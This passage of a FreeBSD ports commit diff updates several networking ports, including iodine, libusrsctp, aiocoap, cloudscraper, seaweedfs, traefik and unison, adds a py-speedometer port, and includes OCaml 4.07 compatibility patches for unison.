sbin/frr-reload sbin/ospf6d sbin/ospfd -sbin/pbrd sbin/ripd sbin/ripngd sbin/staticd diff --git a/net/iodine/Makefile b/net/iodine/Makefile index 8e01a53887f..6ee4b601d62 100644 --- a/net/iodine/Makefile +++ b/net/iodine/Makefile @@ -1,14 +1,14 @@ PORTNAME= iodine PORTVERSION= 0.8.0 CATEGORIES= net -MASTER_SITES= http://code.kryo.se/iodine/ \ - http://redundancy.redundancy.org/mirror/ +MASTER_SITES= https://code.kryo.se/iodine/ -MAINTAINER= ports@FreeBSD.org +MAINTAINER= p.mousavizadeh@protonmail.com COMMENT= Tunnel IPv4 data through a DNS server WWW= https://code.kryo.se/iodine/ LICENSE= ISCL +LICENSE_FILE= ${WRKSRC}/LICENSE USES= cpe CPE_VENDOR= kryo @@ -25,7 +25,7 @@ do-install: ${INSTALL_MAN} ${WRKSRC}/man/iodine.8 ${STAGEDIR}${MANPREFIX}/man/man8 ${GZIP_CMD} ${STAGEDIR}${MANPREFIX}/man/man8/iodine.8 ${MKDIR} ${STAGEDIR}${DOCSDIR} -.for f in README.md CHANGELOG TODO +.for f in README.md CHANGELOG ${INSTALL_DATA} ${WRKSRC}/${f} ${STAGEDIR}${DOCSDIR} .endfor diff --git a/net/iodine/distinfo b/net/iodine/distinfo index 635dc19e219..8b22b038190 100644 --- a/net/iodine/distinfo +++ b/net/iodine/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1681805049 +TIMESTAMP = 1681933715 SHA256 (iodine-0.8.0.tar.gz) = 546e92cf8617f7970ea81c850b1063eb189c68c406d0c6a67e02c55e72e714c6 SIZE (iodine-0.8.0.tar.gz) = 100577 diff --git a/net/iodine/files/patch-src_iodined.c b/net/iodine/files/patch-src_iodined.c new file mode 100644 index 00000000000..8cf0386e4b4 --- /dev/null +++ b/net/iodine/files/patch-src_iodined.c @@ -0,0 +1,11 @@ +--- src/iodined.c.orig 2023-04-19 20:18:03 UTC ++++ src/iodined.c +@@ -2754,7 +2754,7 @@ main(int argc, char **argv) + do_pidfile(pidfile); + + #ifdef FREEBSD +- tzsetwall(); ++ tzset(); + #endif + #ifndef WINDOWS32 + openlog(__progname, LOG_NDELAY, LOG_DAEMON); diff --git a/net/iodine/pkg-plist b/net/iodine/pkg-plist index 4b9c1059f54..1412c07f6b8 100644 --- a/net/iodine/pkg-plist +++ b/net/iodine/pkg-plist @@ -2,5 +2,4 @@ bin/iodine sbin/iodined man/man8/iodine.8.gz %%PORTDOCS%%%%DOCSDIR%%/CHANGELOG -%%PORTDOCS%%%%DOCSDIR%%/README -%%PORTDOCS%%%%DOCSDIR%%/TODO +%%PORTDOCS%%%%DOCSDIR%%/README.md diff --git a/net/libusrsctp/Makefile b/net/libusrsctp/Makefile index da5b238cd9f..d5636b99c92 100644 --- a/net/libusrsctp/Makefile +++ b/net/libusrsctp/Makefile @@ -9,8 +9,6 @@ WWW= https://github.com/sctplab/usrsctp LICENSE= BSD3CLAUSE LICENSE_FILE= ${WRKSRC}/LICENSE.md -BROKEN_FreeBSD_14= compilation fails: no netinet6/ip6protosw.h on FreeBSD 14, see https://github.com/sctplab/usrsctp/issues/667 - USES= cmake USE_LDCONFIG= yes @@ -28,4 +26,11 @@ PLIST_FILES= include/usrsctp.h \ CFLAGS+= -Wno-error -.include +.include + +post-patch: +.if ${OSVERSION} >= 1400000 + @${REINPLACE_CMD} -e 's|ip6protosw.h|ip6_var.h|g' \ + ${WRKSRC}/usrsctplib/netinet/sctp_os_userspace.h +.endif +.include diff --git a/net/py-aiocoap/Makefile b/net/py-aiocoap/Makefile index f235187b960..388ff99097e 100644 --- a/net/py-aiocoap/Makefile +++ b/net/py-aiocoap/Makefile @@ -1,5 +1,5 @@ PORTNAME= aiocoap -DISTVERSION= 0.4.5 +DISTVERSION= 0.4.7 CATEGORIES= net MASTER_SITES= PYPI PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} @@ -9,7 +9,6 @@ COMMENT= Python CoAP library WWW= https://github.com/chrysn/aiocoap LICENSE= MIT -LICENSE_FILE= ${WRKSRC}/LICENSE USES= python:3.7+ USE_PYTHON= autoplist distutils diff --git a/net/py-aiocoap/distinfo b/net/py-aiocoap/distinfo index e9bb5d10be0..91785506862 100644 --- a/net/py-aiocoap/distinfo +++ b/net/py-aiocoap/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1669223036 -SHA256 (aiocoap-0.4.5.tar.gz) = 906c927822185c8acf04fdcc1dd98fd845f31dabf5d5e395c39137dcbd6ba1e3 -SIZE (aiocoap-0.4.5.tar.gz) = 223573 +TIMESTAMP = 1682740254 +SHA256 (aiocoap-0.4.7.tar.gz) = 90f3bcaffd454f5421d3ad55ddbe3fe10a686d4b9f3c4445d427b130493a96a4 +SIZE (aiocoap-0.4.7.tar.gz) = 265972 diff --git a/net/py-cloudscraper/Makefile b/net/py-cloudscraper/Makefile index fb6fe46a38d..07b0f45851c 100644 --- a/net/py-cloudscraper/Makefile +++ b/net/py-cloudscraper/Makefile @@ -1,5 +1,5 @@ PORTNAME= cloudscraper -DISTVERSION= 1.2.69 +DISTVERSION= 1.2.71 CATEGORIES= net python MASTER_SITES= PYPI PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} diff --git a/net/py-cloudscraper/distinfo b/net/py-cloudscraper/distinfo index 686829fa599..4dbf23be8b3 100644 --- a/net/py-cloudscraper/distinfo +++ b/net/py-cloudscraper/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1677338088 -SHA256 (cloudscraper-1.2.69.tar.gz) = 1ff4befeeae63a67076c0264515162935981dd5d51552f052dc266bf64997345 -SIZE (cloudscraper-1.2.69.tar.gz) = 93294 +TIMESTAMP = 1682740096 +SHA256 (cloudscraper-1.2.71.tar.gz) = 429c6e8aa6916d5bad5c8a5eac50f3ea53c9ac22616f6cb21b18dcc71517d0d3 +SIZE (cloudscraper-1.2.71.tar.gz) = 93261 diff --git a/net/py-speedometer/Makefile b/net/py-speedometer/Makefile new file mode 100644 index 00000000000..c8850221ad2 --- /dev/null +++ b/net/py-speedometer/Makefile @@ -0,0 +1,20 @@ +PORTNAME= Speedometer +DISTVERSION= 2.9 +CATEGORIES= net python +MASTER_SITES= PYPI +PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} + +MAINTAINER= DtxdF@disroot.org +COMMENT= Chart network TX/RX and file download rates on the console +WWW= https://excess.org/speedometer/ + +LICENSE= LGPL21 +LICENSE_FILE= ${WRKSRC}/LICENSE + +RUN_DEPENDS= ${PYTHON_PKGNAMEPREFIX}psutil>0:sysutils/py-psutil@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}urwid>0:devel/py-urwid@${PY_FLAVOR} + +USES= python +USE_PYTHON= autoplist distutils + +.include diff --git a/net/py-speedometer/distinfo b/net/py-speedometer/distinfo new file mode 100644 index 00000000000..b549b359ade --- /dev/null +++ b/net/py-speedometer/distinfo @@ -0,0 +1,3 @@ +TIMESTAMP = 1678285767 +SHA256 (Speedometer-2.9.tar.gz) = cc59a982a264737df5c5b205121de9377b3dff856a2762c029de7d9a0a51c583 +SIZE (Speedometer-2.9.tar.gz) = 22100 diff --git a/net/py-speedometer/pkg-descr b/net/py-speedometer/pkg-descr new file mode 100644 index 00000000000..4f49f3cd3fb --- /dev/null +++ b/net/py-speedometer/pkg-descr @@ -0,0 +1,3 @@ +Speedometer is a minimalistic python script that provides a TUI +interface to measure and display the speed of data across a network +connection or data being stored in a file. diff --git a/net/scapy/Makefile b/net/scapy/Makefile index cd885b6018c..b1b82335d20 100644 --- a/net/scapy/Makefile +++ b/net/scapy/Makefile @@ -1,5 +1,6 @@ PORTNAME= scapy PORTVERSION= 2.5.0 +PORTREVISION= 1 CATEGORIES= net python MASTER_SITES= PYPI PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} diff --git a/net/seaweedfs/Makefile b/net/seaweedfs/Makefile index e2f59ca7dd9..d700ad31a4b 100644 --- a/net/seaweedfs/Makefile +++ b/net/seaweedfs/Makefile @@ -1,6 +1,5 @@ PORTNAME= seaweedfs -DISTVERSION= 3.43 -PORTREVISION= 1 +DISTVERSION= 3.47 CATEGORIES= net sysutils MASTER_SITES= https://raw.githubusercontent.com/${PORTNAME}/${PORTNAME}/${DISTVERSIONFULL}/:gomod DISTFILES= go.mod:gomod diff --git a/net/seaweedfs/distinfo b/net/seaweedfs/distinfo index af64711e9e5..ee4f644b689 100644 --- a/net/seaweedfs/distinfo +++ b/net/seaweedfs/distinfo @@ -1,5 +1,5 @@ -TIMESTAMP = 1678211237 -SHA256 (go/net_seaweedfs/seaweedfs-seaweedfs-3.43_GH0/go.mod) = 0cdd688bc5782459c3b9427508c047a426ff23cad4f5e049936cc65797748abb -SIZE (go/net_seaweedfs/seaweedfs-seaweedfs-3.43_GH0/go.mod) = 11607 -SHA256 (go/net_seaweedfs/seaweedfs-seaweedfs-3.43_GH0/seaweedfs-seaweedfs-3.43_GH0.tar.gz) = e2116557bfa72f25687080de5eb58385a417f61e8aa632bbeeda28cf515d7877 -SIZE (go/net_seaweedfs/seaweedfs-seaweedfs-3.43_GH0/seaweedfs-seaweedfs-3.43_GH0.tar.gz) = 29769231 +TIMESTAMP = 1682594268 +SHA256 (go/net_seaweedfs/seaweedfs-seaweedfs-3.47_GH0/go.mod) = 3c81d36551018f7f6082d844ba0f9a8dbb63657e7a852f8bb7d80d5cbd8ce080 +SIZE (go/net_seaweedfs/seaweedfs-seaweedfs-3.47_GH0/go.mod) = 15015 +SHA256 (go/net_seaweedfs/seaweedfs-seaweedfs-3.47_GH0/seaweedfs-seaweedfs-3.47_GH0.tar.gz) = 1265000fbe2cd09c796cab9c3ec775770afe53b86176c3dbeb32500ac5240131 +SIZE (go/net_seaweedfs/seaweedfs-seaweedfs-3.47_GH0/seaweedfs-seaweedfs-3.47_GH0.tar.gz) = 29780737 diff --git a/net/tigervnc-viewer/Makefile b/net/tigervnc-viewer/Makefile index 0b94acf48d7..14069c581a8 100644 --- a/net/tigervnc-viewer/Makefile +++ b/net/tigervnc-viewer/Makefile @@ -1,4 +1,5 @@ PKGNAMESUFFIX= -viewer +PORTREVISION= 1 CATEGORIES= net COMMENT= TigerVNC Viewer diff --git a/net/traefik/Makefile b/net/traefik/Makefile index a1fb3039ca7..af5a62f0a9b 100644 --- a/net/traefik/Makefile +++ b/net/traefik/Makefile @@ -1,6 +1,5 @@ PORTNAME= traefik -PORTVERSION= 2.9.9 -PORTREVISION= 1 +PORTVERSION= 2.10.1 CATEGORIES= net MASTER_SITES= LOCAL/riggs/${PORTNAME} @@ -13,7 +12,7 @@ LICENSE_FILE= ${WRKSRC}/LICENSE.md BUILD_DEPENDS= go-bindata:devel/go-bindata -USES= cpe go:1.19,modules tar:xz +USES= cpe go:modules tar:xz USE_RC_SUBR= traefik diff --git a/net/traefik/distinfo b/net/traefik/distinfo index 5de3e848c1d..4b620d7f2d2 100644 --- a/net/traefik/distinfo +++ b/net/traefik/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1680511997 -SHA256 (traefik-2.9.9.tar.xz) = d23703334559395e77f62bb02a66a81272e613edad776dbe10b068553a476bba -SIZE (traefik-2.9.9.tar.xz) = 23494992 +TIMESTAMP = 1682765804 +SHA256 (traefik-2.10.1.tar.xz) = 297bd430bef0275013f7e519bcde242c0a622ee2b8bf89fc3ab840e8f1d99d8e +SIZE (traefik-2.10.1.tar.xz) = 23817128 diff --git a/net/trippy/Makefile b/net/trippy/Makefile index 26dbe3b336a..39f510daa17 100644 --- a/net/trippy/Makefile +++ b/net/trippy/Makefile @@ -1,5 +1,6 @@ PORTNAME= trippy PORTVERSION= 0.7.0 +PORTREVISION= 1 CATEGORIES= net MAINTAINER= ehaupt@FreeBSD.org @@ -13,11 +14,14 @@ USES= cargo USE_GITHUB= yes GH_ACCOUNT= fujiapple852 -OPTIONS_DEFINE= SUID -OPTIONS_DEFAULT=SUID -SUID_DESC= Use suid to allow execution as non root +OPTIONS_DEFINE= SUID +OPTIONS_DEFAULT= SUID +SUID_DESC= Use suid to allow execution as non root SUID_PLIST_FILES= "@(,,4110) bin/trip" SUID_PLIST_FILES_OFF= "@(,,0100) bin/trip" +post-install: + ${STRIP_CMD} ${STAGEDIR}${PREFIX}/bin/trip + .include diff --git a/net/unison/Makefile b/net/unison/Makefile index 4156f99912e..a3988171bdc 100644 --- a/net/unison/Makefile +++ b/net/unison/Makefile @@ -1,5 +1,5 @@ PORTNAME= unison -PORTVERSION= 2.53.2 +PORTVERSION= 2.53.3 DISTVERSIONPREFIX= v CATEGORIES= net diff --git a/net/unison/distinfo b/net/unison/distinfo index f05f0fe44a5..48327d0f92c 100644 --- a/net/unison/distinfo +++ b/net/unison/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1679421059 -SHA256 (bcpierce00-unison-v2.53.2_GH0.tar.gz) = fb337c221722e496916b385e50e99a49604b8aed3f5fafcc45029c1d2aa1232b -SIZE (bcpierce00-unison-v2.53.2_GH0.tar.gz) = 1410117 +TIMESTAMP = 1682664394 +SHA256 (bcpierce00-unison-v2.53.3_GH0.tar.gz) = aaea04fc5bc76dcfe8627683c9659ee4c194d4f992cc8aaa15bbb2820fc8de46 +SIZE (bcpierce00-unison-v2.53.3_GH0.tar.gz) = 1415490 diff --git a/net/unison/files/patch-Makefile.OCaml b/net/unison/files/patch-Makefile.OCaml index 5df9f0758e4..330f26d0172 100644 --- a/net/unison/files/patch-Makefile.OCaml +++ b/net/unison/files/patch-Makefile.OCaml @@ -1,18 +1,6 @@ ---- Makefile.OCaml.orig 2023-03-19 12:38:58 UTC +--- Makefile.OCaml.orig 2023-04-24 16:49:02 UTC +++ Makefile.OCaml -@@ -34,7 +34,11 @@ ifeq ($(shell uname),NetBSD) - else - ifeq ($(shell uname),NetBSD) - OSARCH=NetBSD -+else -+ifeq ($(shell uname),FreeBSD) -+ OSARCH=FreeBSD - endif -+endif - ifeq ($(shell uname),Linux) - OSARCH=Linux - endif -@@ -271,7 +275,7 @@ OCAMLOBJS+=main.cmo +@@ -248,7 +248,7 @@ OCAMLOBJS+=main.cmo # OCaml libraries for the bytecode version # File extensions will be substituted for the native code version @@ -21,7 +9,7 @@ INCLFLAGS+=-I +unix -I +str COBJS+=osxsupport$(OBJ_EXT) pty$(OBJ_EXT) bytearray_stubs$(OBJ_EXT) hash_compat$(OBJ_EXT) props_xattr$(OBJ_EXT) props_acl$(OBJ_EXT) -@@ -332,6 +336,11 @@ ifeq ($(OSARCH),Linux) +@@ -309,6 +309,11 @@ ifeq ($(OSARCH),Linux) ### Filesystem monitoring ifeq ($(OSARCH),Linux) diff --git a/net/unison/files/patch-fsmonitor_linux_Makefile b/net/unison/files/patch-fsmonitor_linux_Makefile index 820041472d2..7d44e1c8b92 100644 --- a/net/unison/files/patch-fsmonitor_linux_Makefile +++ b/net/unison/files/patch-fsmonitor_linux_Makefile @@ -1,6 +1,6 @@ ---- fsmonitor/linux/Makefile.orig 2017-03-23 16:47:46 UTC +--- fsmonitor/linux/Makefile.orig 2023-04-24 16:49:02 UTC +++ fsmonitor/linux/Makefile -@@ -18,6 +18,10 @@ else +@@ -18,6 +18,10 @@ endif FSMCAMLLIBS=$(FSMOCAMLLIBS) endif @@ -11,10 +11,3 @@ buildexecutable:: $(FSMONITOR)$(EXEC_EXT) $(FSMONITOR)$(EXEC_EXT): $(FSMCAMLOBJS) $(FSMCOBJS) -@@ -26,4 +30,4 @@ $(FSMONITOR)$(EXEC_EXT): $(FSMCAMLOBJS) $(FSMCOBJS) - - clean:: - rm -f $(DIR)/*.cm[iox] $(DIR)/*.o $(DIR)/*~ -- rm -f $(FSMONITOR)$(EXEC_EXT) -\ No newline at end of file -+ rm -f $(FSMONITOR)$(EXEC_EXT) diff --git a/net/unison/files/patch-ocaml_4.07-compat b/net/unison/files/patch-ocaml_4.07-compat index 33cf9da9904..cfaabd10712 100644 --- a/net/unison/files/patch-ocaml_4.07-compat +++ b/net/unison/files/patch-ocaml_4.07-compat @@ -1,6 +1,6 @@ -From b787de04da85da2f911c8248e07342e58b4e8625 Mon Sep 17 00:00:00 2001 -From: Tõivo Leedjärv -Date: Fre, 24 Mar 2023 17:22:09 +0100 +From ad79ecf3c42e0f10b05c7cb8eb5671c66b8a09e9 Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?T=C3=B5ivo=20Leedj=C3=A4rv?= +Date: Thu, 17 Nov 2022 11:53:35 +0100 Subject: [PATCH] Restore compatibility with OCaml 4.06 and 4.07 (temporary patch) @@ -13,13 +13,16 @@ Makefile.OCaml). src/fswatchold.ml | 25 +++-- src/remote.ml | 3 +- src/system/system_generic.ml | 204 +++++++++++++++++++++++++++++++++++ - src/uitext.ml | 1 - - 6 files changed, 326 insertions(+), 14 deletions(-) + src/ubase/umarshal.ml | 105 ++++++++++++++++++ + src/uicommon.ml | 12 +-- + src/uitext.ml | 3 +- + 6 files changed, 332 insertions(+), 20 deletions(-) -index 17f22dcb..13cab93b 100644 +diff --git a/src/fswatchold.ml b/src/fswatchold.ml +index 84912071a..5b266f519 100644 --- fswatchold.ml +++ fswatchold.ml -@@ -116,19 +116,22 @@ let readChanges wi = +@@ -113,19 +113,22 @@ let readChanges wi = let watcherRunning archHash = RootMap.mem archHash !watchers && let wi = RootMap.find archHash !watchers in @@ -54,7 +57,7 @@ index 17f22dcb..13cab93b 100644 let getChanges archHash = if StringSet.mem archHash !newWatchers then diff --git a/src/remote.ml b/src/remote.ml -index d320470a..0ed393ae 100644 +index d101c3903..bedf2e3ba 100644 --- remote.ml +++ remote.ml @@ -1887,11 +1887,12 @@ let buildShellConnection shell host userOpt portOpt rootName termInteract = @@ -72,7 +75,7 @@ index d320470a..0ed393ae 100644 let () = at_exit end_ssh in (None, pid) diff --git a/src/system/system_generic.ml b/src/system/system_generic.ml -index 2147d44d..3ef4fb09 100644 +index 6f6c6895a..15509abd5 100644 --- system/system_generic.ml +++ system/system_generic.ml @@ -15,6 +15,210 @@ @@ -286,11 +289,183 @@ index 2147d44d..3ef4fb09 100644 type fspath = string let mfspath = Umarshal.string +diff --git a/src/ubase/umarshal.ml b/src/ubase/umarshal.ml +index 5c5f061ad..d65e1a7c5 100644 +--- ubase/umarshal.ml ++++ ubase/umarshal.ml +@@ -15,6 +15,111 @@ + along with this program. If not, see . + *) + ++(* OCaml 4.07 compatibility ONLY *) ++module Bytes = struct ++ ++include Bytes ++ ++(* The following code is taken from OCaml sources. ++ Authors of the code snippet: Alain Frisch and Daniel Bünzli *) ++ ++(**************************************************************************) ++(* *) ++(* OCaml *) ++(* *) ++(* Xavier Leroy, projet Cristal, INRIA Rocquencourt *) ++(* *) ++(* Copyright 1996 Institut National de Recherche en Informatique et *) ++(* en Automatique. *) ++(* *) ++(* All rights reserved. This file is distributed under the terms of *) ++(* the GNU Lesser General Public License version 2.1, with the *) ++(* special exception on linking described in the file LICENSE. *) ++(* *) ++(**************************************************************************) ++ ++(** {6 Binary encoding/decoding of integers} *) ++ ++external get_uint8 : bytes -> int -> int = "%string_safe_get" ++external get_uint16_ne : bytes -> int -> int = "%caml_string_get16" ++external get_int32_ne : bytes -> int -> int32 = "%caml_string_get32" ++external get_int64_ne : bytes -> int -> int64 = "%caml_string_get64" ++external set_int8 : bytes -> int -> int -> unit = "%string_safe_set" ++external set_int16_ne : bytes -> int -> int -> unit = "%caml_string_set16" ++external set_int32_ne : bytes -> int -> int32 -> unit = "%caml_string_set32" ++external set_int64_ne : bytes -> int -> int64 -> unit = "%caml_string_set64" ++external swap16 : int -> int = "%bswap16" ++external swap32 : int32 -> int32 = "%bswap_int32" ++external swap64 : int64 -> int64 = "%bswap_int64" ++ ++let get_int8 b i = ++ ((get_uint8 b i) lsl (Sys.int_size - 8)) asr (Sys.int_size - 8) ++ ++let get_uint16_le b i = ++ if Sys.big_endian then swap16 (get_uint16_ne b i) ++ else get_uint16_ne b i ++ ++let get_uint16_be b i = ++ if not Sys.big_endian then swap16 (get_uint16_ne b i) ++ else get_uint16_ne b i ++ ++let get_int16_ne b i = ++ ((get_uint16_ne b i) lsl (Sys.int_size - 16)) asr (Sys.int_size - 16) ++ ++let get_int16_le b i = ++ ((get_uint16_le b i) lsl (Sys.int_size - 16)) asr (Sys.int_size - 16) ++ ++let get_int16_be b i = ++ ((get_uint16_be b i) lsl (Sys.int_size - 16)) asr (Sys.int_size - 16) ++ ++let get_int32_le b i = ++ if Sys.big_endian then swap32 (get_int32_ne b i) ++ else get_int32_ne b i ++ ++let get_int32_be b i = ++ if not Sys.big_endian then swap32 (get_int32_ne b i) ++ else get_int32_ne b i ++ ++let get_int64_le b i = ++ if Sys.big_endian then swap64 (get_int64_ne b i) ++ else get_int64_ne b i ++ ++let get_int64_be b i = ++ if not Sys.big_endian then swap64 (get_int64_ne b i) ++ else get_int64_ne b i ++ ++let set_int16_le b i x = ++ if Sys.big_endian then set_int16_ne b i (swap16 x) ++ else set_int16_ne b i x ++ ++let set_int16_be b i x = ++ if not Sys.big_endian then set_int16_ne b i (swap16 x) ++ else set_int16_ne b i x ++ ++let set_int32_le b i x = ++ if Sys.big_endian then set_int32_ne b i (swap32 x) ++ else set_int32_ne b i x ++ ++let set_int32_be b i x = ++ if not Sys.big_endian then set_int32_ne b i (swap32 x) ++ else set_int32_ne b i x ++ ++let set_int64_le b i x = ++ if Sys.big_endian then set_int64_ne b i (swap64 x) ++ else set_int64_ne b i x ++ ++let set_int64_be b i x = ++ if not Sys.big_endian then set_int64_ne b i (swap64 x) ++ else set_int64_ne b i x ++ ++let set_uint8 = set_int8 ++let set_uint16_ne = set_int16_ne ++let set_uint16_be = set_int16_be ++let set_uint16_le = set_int16_le ++ ++end ++(* / *) ++ + exception Error of string + + type 'a t = { +diff --git a/src/uicommon.ml b/src/uicommon.ml +index 94fbc66ef..8a16270c3 100644 +--- uicommon.ml ++++ uicommon.ml +@@ -484,7 +484,7 @@ let addIgnorePattern theRegExp = + module Stats = struct + + let calcETA rem rate = +- if Float.is_nan rate || Float.is_nan rem || rem < 0. then "" else ++ if rate <> rate || rem <> rem || rem < 0. then "" else + let t = truncate (rem /. rate +. 0.5) in + (* Estimating the remaining time is not accurate. Reduce the display + precision (and reduce more when longer time remaining). *) +@@ -501,8 +501,8 @@ let calcETA rem rate = + Printf.sprintf "%02d:%02d:%02d" h m sec + + let movAvg curr prev ?(c = 1.) deltaTime avgPeriod = +- if Float.is_nan prev then curr else +- let a = c *. Float.min (1. -. exp (-. deltaTime /. avgPeriod)) 1. in ++ if prev <> prev then curr else ++ let a = c *. min (1. -. exp (-. deltaTime /. avgPeriod)) 1. in + (* Simplified from a *. curr +. (1. -. a) *. prev *) + prev +. a *. (curr -. prev) + +@@ -525,7 +525,7 @@ let init totalToTransfer = + let t0 = 0. in + { t0; t = t0; totalToComplete = Uutil.Filesize.toInt64 totalToTransfer; + completed = 0L; +- curRate = Float.nan; avgRateS = Float.nan; avgRateDoubleSGauss = Float.nan; ++ curRate = nan; avgRateS = nan; avgRateDoubleSGauss = nan; + } + + let calcAvgRate' sta totTime deltaCompleted deltaTime = +@@ -534,11 +534,11 @@ let calcAvgRate' sta totTime deltaCompleted deltaTime = + changes (like switching from cache to disk or from disk to network + of from receiving to sending or with wildly variable network speed). *) + let avgRateS = movAvg curRate sta.avgRateS deltaTime +- (Float.min_num totTime avgPeriodS) in ++ (min totTime avgPeriodS) in + let cpr = (avgRateS -. sta.avgRateDoubleSGauss) /. sta.avgRateDoubleSGauss in + let c = 1. -. exp (-.(cpr ** 2.) /. gaussC) in + let avgRateDoubleSGauss = movAvg avgRateS sta.avgRateDoubleSGauss ~c deltaTime +- (Float.min_num totTime avgPeriodD) in ++ (min totTime avgPeriodD) in + sta.curRate <- curRate; + sta.avgRateS <- avgRateS; + sta.avgRateDoubleSGauss <- avgRateDoubleSGauss diff --git a/src/uitext.ml b/src/uitext.ml -index 1c2e509d..fbb4f7f1 100644 +index 5d1513a03..fc1f8c716 100644 --- uitext.ml +++ uitext.ml -@@ -1621,7 +1621,6 @@ and breakRepeat = function +@@ -833,7 +833,7 @@ let doTransport reconItemList numskip isSkip = + else if v >= 100. then "00:00:00" + else + let rate = Uicommon.Stats.avgRate1 sta in +- if Float.is_nan rate then "--:--" ++ if rate <> rate then "--:--" + else + Format.sprintf "%8s/s %s" + (Util.bytes2string (Int64.of_float rate)) +@@ -1692,7 +1692,6 @@ and breakRepeat = function | Assert_failure _ | Match_failure _ | Invalid_argument _ @@ -298,6 +473,3 @@ index 1c2e509d..fbb4f7f1 100644 (* Async exceptions *) | Out_of_memory | Stack_overflow --- -2.39.2 - diff --git a/net/unison/files/patch-ocaml_4.07-compat-copyquoterem-01 b/net/unison/files/patch-ocaml_4.07-compat-copyquoterem-01 new file mode 100644 index 00000000000..2fb4193f76f --- /dev/null +++ b/net/unison/files/patch-ocaml_4.07-compat-copyquoterem-01 @@ -0,0 +1,209 @@ +From accfb998cc9afc95c0b13dac20d9b49ef9af7e8d Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?T=C3=B5ivo=20Leedj=C3=A4rv?= +Date: Fri, 14 Apr 2023 14:48:48 +0200 +Subject: [PATCH] Revert "Avoid problems with quoting arguments to copyprog" + +This reverts commit e737106fbbd541c5d9536606fb15b04cb165f5d2. +--- + src/copy.ml | 38 ++++++++++++++++++++++-------- + src/external.ml | 45 +++--------------------------------- + src/external.mli | 1 - + src/system/system_generic.ml | 2 -- + src/system/system_intf.ml | 3 --- + 6 files changed, 31 insertions(+), 58 deletions(-) + +diff --git a/src/copy.ml b/src/copy.ml +index 21e22743d..fa704f35c 100644 +--- copy.ml ++++ copy.ml +@@ -911,8 +911,17 @@ let copythreshold = + ^ "See \\sectionref{speeding}{Making Unison Faster on Large Files} " + ^ "for more information.") + +-(* Pref copyquoterem removed since 2.53.3 *) +-let () = Prefs.markRemoved "copyquoterem" ++let copyquoterem = ++ Prefs.createBoolWithDefault "copyquoterem" ++ ~category:(`Advanced `General) ++ "add quotes to remote file name for copyprog (true/false/default)" ++ ("When set to {\\tt true}, this flag causes Unison to add an extra layer " ++ ^ "of quotes to the remote path passed to the external copy program. " ++ ^ "This is needed by rsync, for example, which internally uses an ssh " ++ ^ "connection requiring an extra level of quoting for paths containing " ++ ^ "spaces. When this flag is set to {\\tt default}, extra quotes are " ++ ^ "added if the value of {\\tt copyprog} contains the string " ++ ^ "{\\tt rsync}.") + + let copymax = + Prefs.createInt "copymax" 1 +@@ -1022,25 +1031,34 @@ let transferFileUsingExternalCopyprog + rootFrom pathFrom rootTo fspathTo pathTo realPathTo + update desc fp ress id useExistingTarget = + Uutil.showProgress id Uutil.Filesize.zero "ext"; +- let progWithArgs = ++ let prog = + if useExistingTarget then + Prefs.read copyprogrest + else + Prefs.read copyprog + in ++ let extraquotes = Prefs.read copyquoterem = `True ++ || ( Prefs.read copyquoterem = `Default ++ && Util.findsubstring "rsync" prog <> None) in ++ let addquotes root s = ++ match root with ++ | Common.Local, _ -> s ++ | Common.Remote _, _ -> if extraquotes then Uutil.quotes s else s in + let fromSpec = + (formatConnectionInfo rootFrom) +- ^ (Fspath.toString (Fspath.concat (snd rootFrom) pathFrom)) in ++ ^ (addquotes rootFrom ++ (Fspath.toString (Fspath.concat (snd rootFrom) pathFrom))) in + let toSpec = + (formatConnectionInfo rootTo) +- ^ (Fspath.toString (Fspath.concat fspathTo pathTo)) in +- Trace.log (progWithArgs ^ " " ^ fromSpec ^ " " ^ toSpec ^ "\n"); ++ ^ (addquotes rootTo ++ (Fspath.toString (Fspath.concat fspathTo pathTo))) in ++ let cmd = prog ^ " " ++ ^ (Uutil.quotes fromSpec) ^ " " ++ ^ (Uutil.quotes toSpec) in ++ Trace.log (Printf.sprintf "%s\n" cmd); + Lwt_util.resize_region !copyprogReg (Prefs.read copymax); +- let args = Str.split (Str.regexp "[ \t]+") progWithArgs in +- let prog = match args with [] -> assert false | h :: _ -> h in + Lwt_util.run_in_region !copyprogReg 1 +- (fun () -> External.runExternalProgramArgs prog +- (Array.of_list (args @ [fromSpec; toSpec]))) >>= fun (_, log) -> ++ (fun () -> External.runExternalProgram cmd) >>= fun (_, log) -> + debug (fun() -> + let l = Util.trimWhitespace log in + Util.msg "transferFileUsingExternalCopyprog %s: returned...\n%s%s" +diff --git a/src/external.ml b/src/external.ml +index f13368231..cefb9ea98 100644 +--- external.ml ++++ external.ml +@@ -25,26 +25,6 @@ let debug = Util.debug "external" + let (>>=) = Lwt.bind + open Lwt + +-(* For backwards compatibility with OCaml < 4.12 *) +-let path = +- try +- Str.split (Str.regexp (if Util.osType = `Win32 then ";" else ":")) +- (Sys.getenv "PATH") +- with Not_found -> +- [] +- +-let search_in_path ?(path = path) name = +- if String.contains name '/' then name else +- Filename.concat +- (List.find (fun dir -> +- let p = Filename.concat dir name in +- let found = System.file_exists p in +- debug (fun () -> Util.msg "'%s' ...%s\n" p +- (match found with true -> "found" | false -> "not found")); +- found) +- path) +- name +- + (* Make sure external process resources are collected and zombie processes + reaped when the Lwt thread calling the external program is stopped + suddenly due to remote connection being closed. *) +@@ -66,17 +46,9 @@ let fullProcRes = + let openProcessIn cmd = inProcRes.register (System.open_process_in cmd) + let closeProcessIn = inProcRes.release + +-(* Remove call to search_in_path once we require OCaml >= 4.12. *) +-let openProcessArgsIn cmd args = inProcRes.register (System.open_process_args_in (search_in_path cmd) args) +-let closeProcessArgsIn = inProcRes.release +- + let openProcessFull cmd = fullProcRes.register (System.open_process_full cmd) + let closeProcessFull = fullProcRes.release + +-(* Remove call to search_in_path once we require OCaml >= 4.12. *) +-let openProcessArgsFull cmd args = fullProcRes.register (System.open_process_args_full (search_in_path cmd) args) 